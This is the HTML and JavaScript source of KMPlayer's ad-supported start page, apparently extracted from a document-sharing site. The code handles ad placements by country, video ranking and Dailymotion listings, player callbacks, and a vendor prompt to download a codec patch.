Sunteți pe pagina 1din 22

<!

doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-
scale=1.0, maximum-scale=1.0, user-scalable=no">
<!-- <meta http-equiv="refresh" content="300"> -->
<title>main</title>
<link rel="stylesheet"
href="http://imgcdn.pandora.tv/publishing/kmp_re/css/kmp_main.css">
<script type="text/javascript" src="//code.jquery.com/jquery-
1.12.4.min.js"></script>

<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/google/analytics_player.js"></script>
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/global/constant.js"></script>
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/global/global.js?v=4"></script>
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/player_v15/kmplayer.js?
dumy=110"></script>
<!-- <script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/mobile-
detect/1.3.1/mobile-detect.min.js"></script> -->

<!-- Player Css & JS -->


<link rel="stylesheet"
href="http://imgcdn.pandora.tv/publishing/kmp_re/css/player.css">
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/global/player/kmp-
videoSet.min.js"></script>
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/global/player/kmp-
ptvAdPlayer.min.js"></script>
<script type="text/javascript"
src="http://cdn.kmplayer.com/KMP/static/js/global/player/kmp-
ptvPlayer.min.js"></script>

<!-- External SDK -->


<script type="text/javascript"
src="http://imasdk.googleapis.com/js/sdkloader/ima3.js"></script>
<script type="text/javascript"
src="http://cdnprism.pandora.tv/_adv_img/prism_ad/prismSDK/prismADP/js/PrismADP_1.3
.1.min.js"></script>

<script src="https://api.dmcdn.net/all.js"></script>

<script type="text/javascript">
<!--
document.domain = "kmpmedia.net";
var kmplayerInfo = {
ipCountry : 'GB'.toUpperCase(),
exe_version : '',
ie_version : 0,
ie_emulation_version : 0,
play_mode : ''
};
// taboola
var tb_gubun = '';
if( kmplayerInfo.ipCountry=='KR' ) tb_gubun = 'kmplayer';
else if( kmplayerInfo.ipCountry=='BR' ) tb_gubun = 'kmplayer-brazil';
// else if( kmplayerInfo.ipCountry=='CN' ) tb_gubun = 'kmplayer-china';
else if( kmplayerInfo.ipCountry=='JP' ) tb_gubun = 'kmplayer-japan';
else tb_gubun = 'kmplayerinternational';

window._taboola = window._taboola || [];


_taboola.push({category:'auto'});
!function (e, f, u, i) {
if (!document.getElementById(i)){
e.async = 1;
e.src = u;
e.id = i;
f.parentNode.insertBefore(e, f);
}
}(document.createElement('script'), document.getElementsByTagName('script')[0],
'//cdn.taboola.com/libtrc/'+tb_gubun+'/loader.js', 'tb_loader_script');
if(window.performance && typeof window.performance.mark == 'function'){
window.performance.mark('tbl_ic');
}
// taboola
//-->
</script>
</head>
<body>
<div class="wrap">
<div id="header">
<div class="h_inner">
<div class="pl_hl"> <span class="kmpm_st"></span> <a
href="http://www.kmplayer.com" target="_new"><span class="ph_t">KMPlayer
Homepage</span></a> </div>
<div class="pl_hr"> <span class="kmpm_st"></span> <a
href="mailto:support.pc@kmplayer.com"><span class="ph_t">Advertise</span></a>
</div>
</div>
</div>
<div id="container">
<!-- <div id="kmpConsol" style="color:white;">::::: LOG :::::</div> -->
<div id="debug-console" style="width: 100%; height: 100px; overflow-y:
scroll; background-color: #eeeeee; display:none;"></div>

<!-- AD :: Preroll-->
<div id="video_box" class="video_box" style="display:none;">
<iframe id="iFrmVideo" src="" style="width: 728px; height: 410px;"
frameborder="0" framespacing="0" marginheight="0" marginwidth="0" scrolling="no"
vspace="0"></iframe>
</div>
<!-- // AD :: Preroll-->

<div id="cover_box" class="gb_style" style="display:none;">


<div class="gs_logo"> <img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/kmp_left_web_logo.png"
alt="KMPlayer"> </div>
</div>
<div id="m_banner" style="display:none;"></div>

<div id="kmpVideoLoading" class="video_box" style="display:none;">


<img
src="http://cdn.kmplayer.com/KMP/images/player/kmplayer_main_img.jpg" width="728"
height="410">
</div>

<div class="c_inner">

<!-- AD 728x90 Main -->


<div class="t_banner">
<div id="ad_728x90_m">
<iframe id="ad_728x90_m_i" src="about:blank" width="728"
height="90" frameborder="0" scrolling="no" topmargin="0" leftmargin="0"
marginwidth="0" marginheight="0"></iframe>
</div>
</div>
<!-- AD 728x90 Main -->

<div id="content_1" class="content_1">

<!-- AD 300x250 -->


<div id="ad_300x250" class="l_big">
<img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer">
</div>
<!-- // AD 300x250 -->

<div class="orl_wrap">
<!-- ranking list -->
<ul id="org_ranking_list" class="r_con">
<li><img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer"></li>
<li><img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer"></li>
<li><img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer"></li>
<li><img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer"></li>
</ul>
<!-- ranking list -->

<!-- AD 402x100 - Native -->


<!-- <div id="ad_402x100" class="c2c_l">
<img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png" class="lo_img"
alt="KMPlayer">
</div> -->
<!-- // AD 402x100 - Native -->

</div>
</div>
</div>

<div id="video_container" class="ci_p_re" style="display:none;">


<div class="p_re">
<div id="mPlayArea" class="new_player_area">
<div id="sVideoArea" class="video_area"></div>
<em id="sBtnBigPlay" class="big_play"
style='display:none'></em>
</div>
</div>
<button id="btn_video_close" class="close"><span
class="kmpm_st"></span></button>

<!-- AD 728x90 Video -->


<div class="b_banner">
<div id="ad_728x90">
<iframe id="ad_728x90_i" src="about:blank" width="728"
height="90" frameborder="0" scrolling="no" topmargin="0" leftmargin="0"
marginwidth="0" marginheight="0"></iframe>
</div>
</div>
<!-- // AD 728x90 Video -->
</div>
<div id="video_bg" class="cpr_bg" style="display:none;"></div>

</div>
<div id=notice class="b_link">
<!-- <p><a href="javascript:void(0);">[강추] 별들의 전쟁! UEFA 챔피언스리그
</a></p> -->
</div>
</div>
<iframe id="big_log" style="display:none;"></iframe>

<script type="text/javascript">
<!--
var viewTv = null;
var hTimeout = {playerMode:null};
var isSet72890 = false;
var prerollTimer = null;

// http://gplayer.kmpmedia.net/kmp_plus/ad/no_ad?type=72890
// http://gplayer.kmpmedia.net/kmp_plus/ad/no_ad?type=300250

// var KR_ad72890_m = '{"TSAD":


["100","http://adex.ednplus.com/xc/h/vGxYHCEU"]}';
var KR_ad72890_m = '{"KMP":
["100","http://m.kmp100.kmpmedia.net/ad/house_ad_72890.ptv?ipCountry=KR"]}';
var KR_ad72890 = '{"KMP":
["100","http://m.kmp100.kmpmedia.net/ad/house_ad_72890.ptv?ipCountry=KR"]}';
var KR_ad300250 = '{"TABOOLA":["100",""]}';
// var KR_ad300250 = '{"TABOOLA":["80",""],"WIF":
["10","http://adx.turl.co.kr/pick.wif?
code=262&type=1&width=300&height=250"],"TSAD":
["10","http://adex.ednplus.com/xc/h/7qpsET8p"]}';

var GB_ad72890_m = '{"KMP":


["100","http://m.kmp100.kmpmedia.net/ad/house_ad_72890.ptv?ipCountry=GB"]}';
var GB_ad72890 = '{"KMP":
["100","http://m.kmp100.kmpmedia.net/ad/house_ad_72890.ptv?ipCountry=GB"]}';
var GB_ad300250 = '{"TABOOLA":["50",""],"IRONSOURCE":["50","http://www.1-
1ads.com/ads?key=782d0e98009f602e8cb7b496ccbffeae&ch="]}';

var KR_preroll = '{"22":["93",""],"100":["7",""]}';


var GB_preroll = '{NOAD}';

var str_time_json = {
"normal": {"30": "1","600": "1","default": "1","max_play": "1","passback":
false},
"animation": {"30": "1","600": "1","default": "1","max_play":
"1","passback": false},
"overlay": {"start": {"show_sec": "1","duration_sec": "7"},"time":
{"show_sec1": "180","duration_sec1": "7","show_sec2": "600","duration_sec2":
"7"},"seeking": {"duration_sec": "7"},"noad": {"duration_sec": "3"}},
"jsfunc_count" : {"preroll" : 1,"midroll" : 1}
};

window._taboola = window._taboola || [];


_taboola.push({flush: true});

jQuery(document).ready(function(){
global.call_big_log('0','a00','a02','');
setKmpInfo();
setPatch_cie_codex();
setCheckPlaymode();

// if(kmplayerInfo.ipCountry == 'KR')
// {
// setPreroll();
// }
// else
// {
// setAD_800x440();
// }

setPreroll();
setAD_300x250();
// setAD_402x100();
setAD_728x90_m();
setContents();

getNotice();
setWing();
});

function OnKMPNotifyReturn(message, wparam, lparam)


{
// alert('OnKMPNotifyReturn ::: ' + message + ' , ' + wparam + ' , ' +
lparam);
// 1025, 7, 0 -> KMP 영상 종료 전 클리어
// 1025, 0, 0 -> KMP 영상 종료
// 1026, 4, 0 -> KMP 영상 재생 준비
if(message == 1025 && wparam == 0)
{
jQuery('#cover_box').show();
prerollTimer = setTimeout(setPreroll, 1000);
}

if(message == 1026 && wparam == 4)


{
if(prerollTimer != null)
{
clearTimeout(prerollTimer);
}
}
}

function setDebugConsole(msg){
try{
console.log( msg );
} catch(e) {}

var bLog = 0;
if( bLog ) {
jQuery('#debug-console').show().append(msg+'<br/>');
}
}

function setKmpInfo(){
var exeVersion = CallKMPExt('GetExeVersion');
var ieEmulVersion = CallKMPExt('GETIEEmulationValue', '');
var ieVersion = CallKMPExt('GETIEVersion', '');

if( getParam('ipCountry')!='' ) {
kmplayerInfo.ipCountry = getParam('ipCountry').toUpperCase();
}

if( typeof exeVersion=='undefined' ) {


exeVersion = '';
}

if( typeof ieEmulVersion!='undefined' && ieEmulVersion!='' ) {


ieEmulVersion = parseInt(ieEmulVersion);
} else {
ieEmulVersion = 0;
}

if( typeof ieVersion!='undefined' && ieVersion!='' ) {


ieVersion = parseInt( ieVersion.split('.')[0] );
} else {
var myNav = navigator.userAgent.toLowerCase();
ieVersion = (myNav.indexOf('msie') != -1) ?
parseInt( myNav.split('msie')[1] ) : 0;
}

kmplayerInfo.exe_version = exeVersion;
kmplayerInfo.ie_emulation_version = ieEmulVersion;
kmplayerInfo.ie_version = ieVersion;

jQuery.each(kmplayerInfo, function(mKey, mVal){


setDebugConsole(mKey + ' : ' + mVal);
});
}

function getKmpInfo(){
return kmplayerInfo;
}

function setCheckPlaymode(){

hTimeout.playerMode = setTimeout(function(){
clearTimeout(hTimeout.playerMode);
hTimeout.playerMode = null;

var strPlayMode = getPlayMode();


if(strPlayMode==undefined || strPlayMode=='None') {
} else {
videoEnd();
}

setCheckPlaymode();
}, 1000);
}

function getPlayMode(){
kmplayerInfo.play_mode = CallKMPExt('GetPlayMode', '');

if( kmplayerInfo.play_mode!=undefined && kmplayerInfo.play_mode!='None' ){


setDebugConsole('GetPlayMode :: '+kmplayerInfo.play_mode);
}

return kmplayerInfo.play_mode;
}

function setPreroll(){
var bShow = 1;
jQuery('#cover_box').hide();
if( bShow && kmplayerInfo.ipCountry=='KR' ) {
// alert('play preroll');
jQuery('#video_box').show();
jQuery('#iFrmVideo').attr('src', '/kmp_plus/platform/preroll/KR/');
} else {
hidePreroll();
}
}

function hidePreroll(){
jQuery('#video_box').hide();
jQuery('#iFrmVideo').attr('src', '');
}

function setWing(){
var strPlayMode = getPlayMode();
// jQuery('#kmpConsol').html(strPlayMode);
// alert(strPlayMode);
var strOpenUrl_ie = 'http://wing.kmplayer.com/wing_ie.ptv?
ipCountry='+kmplayerInfo.ipCountry+'&dum=kmplayer wing';
var strOpenUrl = 'http://m.kmp100.kmpmedia.net/kmp_2017/wing.ptv?
ipCountry='+kmplayerInfo.ipCountry;

if( kmplayerInfo.exe_version!='' )
{
setDebugConsole('setWing :: '+strOpenUrl);

if(versionCompare(kmplayerInfo.exe_version, '4.2.1.4') > -1)


{
// jQuery('#kmpConsol').html(kmplayerInfo.ie_emulation_version +
" : " + kmplayerInfo.ie_version);
strOpenUrl_ie = strOpenUrl_ie + '&v=' + kmplayerInfo.exe_version;
CallKMPExt('NewIECreate',strOpenUrl_ie,'550');
CallKMPExt('SetWingsCallScript');
}
else
{
window.open(strOpenUrl, "KMP_WINGS", "width=550, height=200,
scrollbars=no");
}
// if(versionCompare(kmplayerInfo.exe_version, '4.2.1.4') > -1)
// {
// // jQuery('#kmpConsol').html(kmplayerInfo.ie_emulation_version +
" : " + kmplayerInfo.ie_version);
// strOpenUrl_ie = strOpenUrl_ie + '&v=' +
kmplayerInfo.exe_version;
// var checkIE = CallKMPExt('NewIECreate',strOpenUrl_ie,'550');
// if(checkIE == 'false')
// {
// if(versionCompare(kmplayerInfo.exe_version, '4.2.2.8') >
-1)
// {
// window.open(strOpenUrl, "KMP_WINGS", "width=550,
height=200, scrollbars=no");
// }
// }
// else
// {
// CallKMPExt('SetWingsCallScript');
// }
// }
// else
// {
// window.open(strOpenUrl, "KMP_WINGS", "width=550, height=200,
scrollbars=no");
// }
}
}

function versionCompare(a, b) {
if (a === b) {
return 0;
}

var a_components = a.split(".");


var b_components = b.split(".");

var len = Math.min(a_components.length, b_components.length);

// loop while the components are equal


for (var i = 0; i < len; i++) {
// A bigger than B
if (parseInt(a_components[i]) > parseInt(b_components[i])) {
return 1;
}

// B bigger than A
if (parseInt(a_components[i]) < parseInt(b_components[i])) {
return -1;
}
}

// If one's a prefix of the other, the longer one is greater.


if (a_components.length > b_components.length) {
return 1;
}

if (a_components.length < b_components.length) {


return -1;
}

// Otherwise they are the same.


return 0;
}

function setPatch_cie_codex(){
if( kmplayerInfo.ipCountry=='KR' )
{
if(kmplayerInfo.ie_version < 10)
{
if(kmplayerInfo.ie_version > 9 &&
(isNaN(kmplayerInfo.ie_emulation_version) || kmplayerInfo.ie_emulation_version <
1000) && getCookie('KMPEmulationPatchPopup') != 1)
{
setCookie('KMPEmulationPatchPopup', '1', 1);

if(confirm('[긴급 패치]\nKMPlayer 사용자 편의성과 기능 강화 및 보안을


위한 패치입니다.\n(참고사항 : KMPlayer 버전은 유지하고 기능만 업데이트)'))
{

window.open('http://cdn.kmplayer.com/KMP/Download/release/patch/KMPlayer_Patch_CIE_
Codex.exe');
}
}
}
}
}

function kmpMainVideoLoading(show) {
if(show) {
jQuery("#kmpVideoLoading").show();
} else {
jQuery("#kmpVideoLoading").hide();
}
}

function setContents(){
if( kmplayerInfo.ipCountry=='KR' ){
getRankinglist();
} else {
getDailyMotionTrending();
}
}

function getRankinglist(){
setDebugConsole('getRankinglist');

var strCallUrl =
'http://m.kmp100.kmpmedia.net/kmp_2017/getRankingList.ptv';
var strArrData = {
'group_name' : 'org',
'day' : 7,
'offset' : 0,
'count' : 4
};

jQuery.ajax({
url : strCallUrl
,data : strArrData
,dataType : 'json'
,type : 'get'
,success : function( jsonData ) {
if( typeof jsonData.error!=undefined && typeof jsonData.error!
='undefined' && jsonData.error!='' )
{
setDebugConsole('getRankingList error :: ' + jsonData.error);
}
else if( typeof jsonData.ranking_data!=undefined && typeof
jsonData.ranking_data!='undefined' )
{
var strArrChInfo = jsonData.channel_info;
var ranking_data = jsonData.ranking_data;

if( !ranking_data.length )
{
setDebugConsole('getRankingList is null');
}
else
{
var strOutput = '';

jQuery.each(ranking_data, function(mKey, mArr){


var prgid = decodeURIComponent(mArr['prgid']);
var ch_userid =
decodeURIComponent(mArr['ch_userid']);
var title = decodeURIComponent(mArr['title']);
var thumbnail =
decodeURIComponent(mArr['thumbnail']);
// var thumbnail_big =
decodeURIComponent(mArr['thumbnail_big']);

strOutput += '<li>';
strOutput += ' <a href="javascript:;" data-
ch_userid="'+ch_userid+'" data-prgid="'+prgid+'">';
strOutput += ' <img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png"
lsrc="'+thumbnail+'" class="lo_img" lclass="ti_1" alt="KMPlayer">';
strOutput += ' <div class="rc_bg">';
strOutput += ' <p>'+title+'</p>';
strOutput += ' </div>';
strOutput += ' </a>';
strOutput += '</li>';
});

jQuery('#org_ranking_list').html(strOutput);

jQuery.each(jQuery('#org_ranking_list').find('a'),
function(){
jQuery(this).unbind('click').bind('click', function(){
var ch_userid = jQuery(this).attr('data-
ch_userid');
var prgid = jQuery(this).attr('data-prgid');

getPtvVideo(ch_userid, prgid);
});
});

image_check( 'org_ranking_list' );
}
}
}
,error : function( result ) {
setDebugConsole('get error :: ranking data');
return false;
}
});
}

function getPtvVideo(ch_userid, prgid, bCors){


setDebugConsole('getPtvVideo :: ch_userid['+ch_userid+'],
prgid['+prgid+']');
var bOptCors = (typeof bCors!='undefined') ? bCors : false;

jQuery.ajax({
url : 'http://m.kmp100.kmpmedia.net/vodset.ptv'
,data : {
'userid' : ch_userid,
'prgid' : prgid
}
// ,xhrFields : {
// withCredentials: bOptCors
// }
,dataType : 'json'
,type : 'get'
,beforeSend : videoAreaInit
,success : function( jsonData ) {
if( Object.keys(jsonData).length>0 )
{
var strArrOpt = getPtvOpt( jsonData );
viewTv = new VideoSet(strArrOpt);
}
else
{
jQuery('#qPoster').hide();
jQuery('#qBlack').attr('src',
'http://imgcdn.pandora.tv/publishing/nx/images/errvdo_unknown'+
(kmplayerInfo.ipCountry!='KR' ? '_en' : '')+'.png');
}
}
,error : function( result ){
if(typeof bCors=='undefined')
{
setDebugConsole('getPtvVideo Retry, Cors['+(!bOptCors)+']');
getPtvVideo(ch_userid, prgid, true)
}
else
{
jQuery('#qPoster').hide();
jQuery('#qBlack').attr('src',
'http://imgcdn.pandora.tv/publishing/nx/images/errvdo_unknown'+
(kmplayerInfo.ipCountry!='KR' ? '_en' : '')+'.png');
}
}
});
}

function getPtvOpt( vodsetinfo ){


var strArrOpt = {};

strArrOpt.title = vodsetinfo['title'];
strArrOpt.fix_playerType = 'flash';
strArrOpt.vlog = true; // Log Type
strArrOpt.bAutoPlay = true; // 자동재생여부
if(kmplayerInfo.ipCountry=='KR')
{
if(KR_preroll == "NOAD")
{
strArrOpt.bAD = false; // 프리롤 광고 재생여부 Default : false
}
else
{
strArrOpt.bAD = true; // 프리롤 광고 재생여부 Default : false
}
}
else
{
if(GB_preroll == "NOAD")
{
strArrOpt.bAD = false; // 프리롤 광고 재생여부 Default : false
}
else
{
strArrOpt.bAD = true; // 프리롤 광고 재생여부 Default : false
}
}
// strArrOpt.bAD = true; // 프리롤 광고 재생여부 Default : false
strArrOpt.bOverlay = false; // 오버레이 광고 재생여부 Default : false
strArrOpt.bResol = true; // Resolution Button 사용여부
strArrOpt.bFull = true; // Fullscreen Button 사용여부
strArrOpt.bTvbox = false; // TVBOX 여부
strArrOpt.bAni = false; // 전용관 여부
strArrOpt.bMute = false; // 음소거 옵션 Default : false
strArrOpt.volume = 50; // 최초 볼륨 값
strArrOpt.share_id = '';
strArrOpt.group_id = 'kmp';
strArrOpt.log_deviceType = customizeForDevice(); // Log Device Type
strArrOpt.bTest = false;
strArrOpt.error_bg =
'http://imgcdn.pandora.tv/publishing/nx/images/errvdo_unknown'+
(kmplayerInfo.ipCountry!='KR' ? '_en' : '')+'.png';

strArrOpt.vod_info = {};
strArrOpt.vod_info.userid = vodsetinfo['userid'];
strArrOpt.vod_info.prgid = vodsetinfo['prg_id'];
strArrOpt.vod_info.runtime = vodsetinfo['runtime'];
strArrOpt.vod_info.category = vodsetinfo['classcode'];
strArrOpt.vod_info.status = vodsetinfo['status'];
strArrOpt.vod_info.adinfo = vodsetinfo['adinfo'];
strArrOpt.vod_info.atv_class = vodsetinfo['atv_class'];
strArrOpt.vod_info.c_title = vodsetinfo['title'];
strArrOpt.vod_info.ch_level = vodsetinfo['ch_level'];
strArrOpt.vod_info.ch_name = vodsetinfo['ch_name'];
strArrOpt.vod_info.ch_url = vodsetinfo['ch_url'];
strArrOpt.vod_info.content = vodsetinfo['content'];
strArrOpt.vod_info.datecount = vodsetinfo['datecount'];
strArrOpt.vod_info.flv_size = vodsetinfo['flv_size'];
strArrOpt.vod_info.flv_url = vodsetinfo['flv_url'];
strArrOpt.vod_info.gdatecount = vodsetinfo['gdatecount'];
strArrOpt.vod_info.image = vodsetinfo['image'];
strArrOpt.vod_info.info_url = vodsetinfo['info_url'];
strArrOpt.vod_info.key = vodsetinfo['key'];
strArrOpt.vod_info.multibit = vodsetinfo['multibit'];
strArrOpt.vod_info.owner_name = vodsetinfo['owner_name'];
strArrOpt.vod_info.prism = vodsetinfo['prism'];
strArrOpt.vod_info.prismTime = vodsetinfo['prismTime'];
strArrOpt.vod_info.resolquality = vodsetinfo['resolquality'];
strArrOpt.vod_info.svr = vodsetinfo['svr'];
strArrOpt.vod_info.valuation = vodsetinfo['valuation'];
strArrOpt.vod_info.nExpiration = vodsetinfo['nExpiration'];
strArrOpt.vod_info.country = kmplayerInfo.ipCountry;

strArrOpt.targets = {};
strArrOpt.targets.main_container = "mPlayArea";
strArrOpt.targets.video_container = "sVideoArea";
strArrOpt.targets.video = "qVideo";
strArrOpt.targets.poster = "qPoster";
strArrOpt.targets.background = "qBlack";
strArrOpt.targets.play = "sBtnBigPlay";

strArrOpt.resolution = {};
strArrOpt.resolution.current = 0;
strArrOpt.resolution.info = vodsetinfo['service_url_list'];

jQuery.each(strArrOpt.resolution.info, function(mKey, mArr){


if( strArrOpt.resolution.current==0 )
{
if( kmplayerInfo.ipCountry=='KR' || mArr['key']<=720 ) {
strArrOpt.resolution.current = mArr['key'];
}
}
else
{
return false;
}
});

strArrOpt.callback = {};
strArrOpt.callback.play = ''; // 영상 재생되었을때 호출되는 함수
strArrOpt.callback.end = function(){ videoEnd(); }; // 영상 종료되었을
때 호출되는 함수
strArrOpt.callback.pause = ''; // 영상 일시정지 되었을때 호출되는 함수
strArrOpt.callback.next = ''; // 다음버튼 클릭 되었을때 호출되는 함수
strArrOpt.callback.error = ''; // 영상 에러가 발생 되었을때 호출되는 함수
strArrOpt.callback.expansion = ''; // 확장버튼 클릭 되었을때 호출되는 함수
strArrOpt.callback.error_url = ''; // 영상주소 API 로 가져오고나서 에러가 발생 되
었을때 호출되는 함수

strArrOpt.ad_info = {};
strArrOpt.ad_info.time_json = str_time_json;
strArrOpt.ad_info.apiUrl = {};
strArrOpt.ad_info.apiUrl.time =
'http://cdn.kmplayer.com/KMP/static/js/ad/time_check_20171129.js';
strArrOpt.ad_info.apiUrl.preroll_jsFunc = function()
{
var prerollData;
if(kmplayerInfo.ipCountry=='KR')
{
prerollData = KR_preroll;
}
else
{
prerollData = GB_preroll;
}
console.log('preroll_jsFunc : ' + prerollData);
return adRate(prerollData);
};
// strArrOpt.ad_info.apiUrl.preroll = [
// 'http://prism.pandora.tv/top100kmp/pc/icf_01/?
channel='+strArrOpt.vod_info.userid,
// 'http://prism.pandora.tv/top100kmp/pc/icf_02/?
channel='+strArrOpt.vod_info.userid
// ];
strArrOpt.ad_info.apiUrl.overlay = {};
strArrOpt.ad_info.apiUrl.overlay.ready =
'http://prism.pandora.tv/top100/mobile/overlay/'; // 영상 시작 전 오버레이 배너
strArrOpt.ad_info.apiUrl.overlay.start = ''; // 시작할때
strArrOpt.ad_info.apiUrl.overlay.time = ''; // 영상재생 중간
strArrOpt.ad_info.apiUrl.overlay.seeking = '';
strArrOpt.ad_info.apiUrl.overlay.pause = ''; // 일시정지

// strArrOpt.ad_info.direct = {};
// strArrOpt.ad_info.direct.kind = (kmplayerInfo.ipCountry=='US') ?
'd_001' : ''; // Pandora Vast Player
// strArrOpt.ad_info.direct.tag_url = (kmplayerInfo.ipCountry=='US') ?
'http://media.msg.dotomi.com/w/get.media?sid=98862&m=11&vpaid=1' : '';

return strArrOpt;
}

function getDailyMotionTrending(){
setDebugConsole('getDailyMotionTrending');

var strCallUrl = 'https://api.dailymotion.com/videos';


var strArrData = {
'fields' :
'id,thumbnail_1080_url,thumbnail_120_url,thumbnail_180_url,thumbnail_240_url,thumbn
ail_360_url,thumbnail_480_url,thumbnail_60_url,thumbnail_720_url,thumbnail_url,titl
e,channel',
'created_after' : Math.floor((new Date().getTime()/1000) - 86400*2),
// 'country' : kmplayerInfo.ipCountry.toLowerCase(), // 'us',
'search' : 'MUSIC, GAMING, SPORTS. MOVIES, COMEDY&ENTERTAINMENT',
// 'availability' : 1,
'longer_than' : 1,
'no_live' : 1,
'no_premium' : 1,
'sort' : 'recent', // 'trending',
'thumbnail_ratio' : 'widescreen',
'page' : 1,
'limit' : 4
};

jQuery.ajax({
url : strCallUrl
,data : strArrData
,dataType : 'json'
,type : 'get'
,success : function( jsonData ) {
var list = (typeof jsonData.list!='undefined') ? jsonData.list :
[];

if( !list.length )
{
setDebugConsole('getDailyMotionTrending is null');
}
else
{
var strOutput = '';

jQuery.each(list, function(mKey, mArr){


var id = mArr['id'];
var title = mArr['title'];
var thumbnail = mArr['thumbnail_360_url'];

strOutput += '<li>';
strOutput += ' <a href="javascript:;" data-
id="'+id+'">';
strOutput += ' <img
src="http://imgcdn.pandora.tv/publishing/kmp_re/images/loading.png"
lsrc="'+thumbnail+'" class="lo_img" lclass="ti_1" alt="KMPlayer">';
strOutput += ' <div class="rc_bg">';
strOutput += ' <p>'+title+'</p>';
strOutput += ' </div>';
strOutput += ' </a>';
strOutput += '</li>';
});

jQuery('#org_ranking_list').html(strOutput);

jQuery.each(jQuery('#org_ranking_list').find('a'), function(){
jQuery(this).unbind('click').bind('click', function(){
var id = jQuery(this).attr('data-id');

getDailyMotionVideo(id);
});
});

image_check( 'org_ranking_list' );
}
}
,error : function( result ) {
setDebugConsole('get error :: ' + result.responseText);
return false;
}
});
}
function getDailyMotionVideo(video_id){
setDebugConsole('getDailyMotionVideo :: video_id['+video_id+']');

videoAreaInit();

viewTv = DM.player(document.getElementById("qvideo"), {
video: video_id,
width: jQuery('#video_container').find('.p_re').width(),
height: jQuery('#video_container').find('.p_re').height(),
params: {
'autoplay': true
// , 'mute': true
, 'sharing-enable' : false
// , 'endscreen-enable' : false
, 'ui-theme' : 'light'
}
});

viewTv.addEventListener('end', function(e){
videoEnd();
});
viewTv.addEventListener('error', function(e){
var strJson = VideoUtils.json_encode(e);
setDebugConsole(strJson);
});
}

function videoAreaInit(){
hidePreroll();
if( isSet72890 == false){
isSet72890 = true;
setAD_728x90();
}
// setAD_728x90();

var strHtml = '';


if( kmplayerInfo.ipCountry=='KR' )
{
strHtml += '<img
src="http://imgcdn.pandora.tv/publishing/nx/images/default.jpg" class="video"
id="qPoster" style="display:none;">';
strHtml += '<img
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAQ4AQMAAADSHVMAAAAAGXRFWHRT
b2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAANQTFRFAAAAp3o92gAAARNJREFUGBntwQENAAAAwqD
3T20PBxQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAMCnAfjlAAGvaFdjAAAAAElFTkSuQmCC" class="video" id="qBlack"
alt="KMPlayer">';

jQuery('#sVideoArea').html(strHtml);
}
else
{
strHtml += '<div id="qvideo"></div>';
}

viewTv = null;
jQuery('#sVideoArea').html(strHtml);
jQuery('#video_container').show();
jQuery('#video_bg').show();
jQuery('#btn_video_close').show().unbind('click').bind('click', function(){
videoEnd(); });
}

function videoEnd(){
if( kmplayerInfo.ipCountry=='KR' )
{
if( viewTv!=null )
{
jQuery('#sVideoArea').html('');
viewTv = null;
}
}
else
{
jQuery('#sVideoArea').html('');
}

jQuery('#video_container').hide();
jQuery('#video_bg').hide();
}

function customizeForDevice() {
return 'pc';
}

function getParam(name){
name = name.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");

var regexS = "[\?&]"+name+"=([^&#]*)";


var regex = new RegExp(regexS);
var results = regex.exec(location.href);

if(results==null) return "";


else return results[1];
}

function image_check(elementById){
jQuery.each(jQuery('#'+elementById).find('img'), function(i, el) {
if (jQuery(this).attr('lsrc') != '') {
img_load(el);
}
});
}

function img_load(hObj){
var src = jQuery(hObj).attr('src') || '';
var lsrc = jQuery(hObj).attr('lsrc') || '';
var loading_class = jQuery(hObj).attr('class');
var ok_class = jQuery(hObj).attr('lclass');

if (src.length > 0 && lsrc.length > 0) {


var img = new Image();
img.src = lsrc;

jQuery(img).load(function() {
jQuery(hObj).attr('src', this.src).removeAttr('lsrc');
jQuery(hObj).addClass(ok_class).removeClass(loading_class);
}).error(function() {
jQuery(hObj).removeAttr('lsrc');
});
}
}

function setAD_300x250(){
setDebugConsole('setAD_300x250');
var rateObj
if(kmplayerInfo.ipCountry == 'KR')
{
rateObj = adRate(KR_ad300250);

if(rateObj.kind=='TABOOLA')
{
var strMode = '';
strMode = 'thumbnails-c';
window._taboola = window._taboola || [];
_taboola.push({
mode: strMode,
container: 'ad_300x250',
placement: 'Below Article Thumbnails 2nd',
target_type: 'mix'
});
}
else if(rateObj.kind=='TSAD' || rateObj.kind=='INTERACTIVY' ||
rateObj.kind=='WIF')
{
jQuery('#ad_300x250').html('<iframe src="'+rateObj.tag_url+'"
width="300" height="250" frameborder="0" scrolling="no" topmargin="0"
leftmargin="0" marginwidth="0" marginheight="0"></iframe>');
}
else
{
// KMP 하우스배너
